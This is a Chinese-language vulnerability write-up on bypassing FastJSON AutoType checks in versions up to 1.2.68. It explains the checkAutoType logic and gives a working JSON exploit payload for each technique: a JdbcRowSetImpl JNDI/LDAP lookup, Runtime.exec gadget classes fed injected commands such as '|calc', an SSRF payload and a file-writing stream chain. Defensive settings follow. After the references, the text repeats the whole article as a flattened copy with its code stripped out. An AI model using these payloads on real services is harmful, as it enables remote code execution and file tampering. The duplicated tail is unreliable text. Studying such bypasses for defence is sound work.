某json<=1.2.68 Autotype bypass
字数 1691 2025-08-05 11:39:35

FastJSON <=1.2.68 AutoType Bypass 漏洞分析与利用

漏洞概述

FastJSON 是一个 Java 语言编写的高性能 JSON 处理器,其 AutoType 功能在 1.2.68 及以下版本存在多个绕过安全校验的漏洞,可能导致远程代码执行。

校验原理分析

checkAutoType 函数流程

checkAutoType() 函数是 FastJSON 反序列化时的核心安全检查函数,主要流程如下:

  1. 基础检查

    • 检查 typeName 是否为空
    • 检查 safeMode 是否开启(1.2.68 新增)
    • 检查 typeName 长度(3-192 字符)
  2. 期望类检查

    • 检查 expectClass 是否为 Object、Serializable、Cloneable 等基础接口
  3. 哈希校验

    • 计算类名哈希值
    • 检查内部白名单 INTERNAL_WHITELIST_HASHCODES
    • 检查黑名单 denyHashCodes
  4. 缓存检查

    • 从 getClassFromMapping 缓存中查找
    • 从 deserializers 中查找
    • 从 typeMapping 中查找
  5. AutoType 支持检查

    • 如果未开启 autoTypeSupport,进行额外黑名单检查
    • 如果开启,则允许加载类
  6. 注解检查

    • 检查类是否有 @JSONType 注解
  7. 危险类检查

    • 检查是否继承自 ClassLoader、DataSource、RowSet 等危险类

关键绕过点

  1. 白名单绕过

    • INTERNAL_WHITELIST_HASHCODES 中的类可直接反序列化
    • 包括 java.lang.AutoCloseable 等基础接口
  2. 缓存绕过

    • mappings 缓存中的类可直接返回
    • TypeUtils.loadClass 加载的类会加入缓存
  3. 期望类绕过

    • 通过指定 expectClass 可以绕过部分检查
    • 主要利用 ThrowableDeserializer 和 JavaBeanDeserializer

绕过技术详解

1. Mapping 缓存绕过 (1.2.47)

原理

  • 通过反序列化 java.lang.Class 将恶意类加入 mappings 缓存
  • 第二次反序列化时直接从缓存加载,绕过检查

PoC

{
    "a": {
        "@type": "java.lang.Class", 
        "val": "com.sun.rowset.JdbcRowSetImpl"
    }, 
    "b": {
        "@type": "com.sun.rowset.JdbcRowSetImpl", 
        "dataSourceName": "ldap://localhost:1099/Exploit", 
        "autoCommit": true
    }
}

2. ThrowableDeserializer 绕过

原理

  • 利用 Throwable 异常类的反序列化机制
  • 第一个 @type 指定期望类,第二个 @type 指定实际类

示例 Gadget

public class ViaThrowable extends Exception {
    private String domain;

    public String getDomain() {
        try {
            Runtime.getRuntime().exec("cmd /c ping "+domain);
        } catch (IOException e) {
            return e.getMessage();
        }
        return super.getMessage();
    }
    // setter 省略
}

PoC

{
  "@type":"java.lang.Exception",
  "@type": "org.heptagram.fastjson.ViaThrowable",
  "domain": "qbknro.dnslog.cn|calc"
}

3. JavaBeanDeserializer 绕过

原理

  • 利用 java.lang.AutoCloseable 在 mappings 缓存中的特性
  • AutoCloseable 未指定特定 deserializer,会使用 JavaBeanDeserializer

示例 Gadget

public class ViaAutoCloseable implements Closeable {
    private String domain;

    public String getDomain() {
        try {
            Runtime.getRuntime().exec(new String[]{"cmd", "/c", "ping " + domain});
        } catch (IOException e) {
            e.printStackTrace();
        }
        return domain;
    }
    // setter 省略
}

PoC

{
  "@type":"java.lang.AutoCloseable",
  "@type": "org.heptagram.fastjson.ViaAutoCloseable",
  "domain": "wme8bg.dnslog.cn|calc"
}

4. $ref 引用功能利用

原理

  • 通过 $ref 引用触发 getter 方法
  • 可用于 SSRF 或 RCE

SSRF 示例

public class RefSSRF extends Exception {
    private DataSource dataSource;
    
    public void setDataSource(URL url) {
        this.dataSource = new URLDataSource(url);
    }
    // getter 省略
}

PoC

{
  "@type": "java.lang.Exception",
  "@type": "org.heptagram.fastjson.RefSSRF",
  "dataSource": {
    "@type": "java.net.URL",
    "val": "http://127.0.0.1:4444/Exploit"
  }
}

5. 文件操作 Gadget

原理

  • 利用 OutputStream 相关类写入文件
  • 需要特定 JDK 版本支持

PoC

{
  '@type':"java.lang.AutoCloseable",
  '@type':'sun.rmi.server.MarshalOutputStream',
  'out': {
    '@type':'java.util.zip.InflaterOutputStream',
    'out': {
       '@type':'java.io.FileOutputStream',
       'file':'dst',
       'append':false
    },
    'infl': {
      'input': {
        'array':'eJwL8nUyNDJSyCxWyEgtSgUAHKUENw==',
        'limit':22
      }
    },
    'bufLen':1048576
  },
  'protocolVersion':1
}

防御措施

  1. 开启 safeMode

    ParserConfig.getGlobalInstance().setSafeMode(true);
    
  2. 升级到最新版本

    • FastJSON 1.2.69 及以上版本修复了这些绕过问题
  3. 严格限制反序列化类

    • 使用白名单机制
    • 避免反序列化不可信数据

参考链接

  1. https://b1ue.cn/archives/348.html
  2. https://b1ue.cn/archives/382.html
  3. https://y4er.com/post/fastjson-bypass-autotype-1268/
  4. https://www.kingkk.com/2020/06/浅谈下Fastjson的autotype绕过/
  5. https://github.com/threedr3am/learnjavabug
FastJSON <=1.2.68 AutoType Bypass 漏洞分析与利用 漏洞概述 FastJSON 是一个 Java 语言编写的高性能 JSON 处理器,其 AutoType 功能在 1.2.68 及以下版本存在多个绕过安全校验的漏洞,可能导致远程代码执行。 校验原理分析 checkAutoType 函数流程 checkAutoType() 函数是 FastJSON 反序列化时的核心安全检查函数,主要流程如下: 基础检查 : 检查 typeName 是否为空 检查 safeMode 是否开启(1.2.68 新增) 检查 typeName 长度(3-192 字符) 期望类检查 : 检查 expectClass 是否为 Object、Serializable、Cloneable 等基础接口 哈希校验 : 计算类名哈希值 检查内部白名单 INTERNAL_ WHITELIST_ HASHCODES 检查黑名单 denyHashCodes 缓存检查 : 从 getClassFromMapping 缓存中查找 从 deserializers 中查找 从 typeMapping 中查找 AutoType 支持检查 : 如果未开启 autoTypeSupport,进行额外黑名单检查 如果开启,则允许加载类 注解检查 : 检查类是否有 @JSONType 注解 危险类检查 : 检查是否继承自 ClassLoader、DataSource、RowSet 等危险类 关键绕过点 白名单绕过 : INTERNAL_ WHITELIST_ HASHCODES 中的类可直接反序列化 包括 java.lang.AutoCloseable 等基础接口 缓存绕过 : mappings 缓存中的类可直接返回 TypeUtils.loadClass 加载的类会加入缓存 期望类绕过 : 通过指定 expectClass 可以绕过部分检查 主要利用 ThrowableDeserializer 和 JavaBeanDeserializer 绕过技术详解 1. Mapping 缓存绕过 (1.2.47) 原理 : 通过反序列化 java.lang.Class 将恶意类加入 mappings 缓存 第二次反序列化时直接从缓存加载,绕过检查 PoC : 2. ThrowableDeserializer 绕过 原理 : 利用 Throwable 异常类的反序列化机制 第一个 @type 指定期望类,第二个 @type 指定实际类 示例 Gadget : PoC : 3. JavaBeanDeserializer 绕过 原理 : 利用 java.lang.AutoCloseable 在 mappings 缓存中的特性 AutoCloseable 未指定特定 deserializer,会使用 JavaBeanDeserializer 示例 Gadget : PoC : 4. $ref 引用功能利用 原理 : 通过 $ref 引用触发 getter 方法 可用于 SSRF 或 RCE SSRF 示例 : PoC : 5. 文件操作 Gadget 原理 : 利用 OutputStream 相关类写入文件 需要特定 JDK 版本支持 PoC : 防御措施 开启 safeMode : 升级到最新版本 : FastJSON 1.2.69 及以上版本修复了这些绕过问题 严格限制反序列化类 : 使用白名单机制 避免反序列化不可信数据 参考链接 https://b1ue.cn/archives/348.html https://b1ue.cn/archives/382.html https://y4er.com/post/fastjson-bypass-autotype-1268/ https://www.kingkk.com/2020/06/浅谈下Fastjson的autotype绕过/ https://github.com/threedr3am/learnjavabug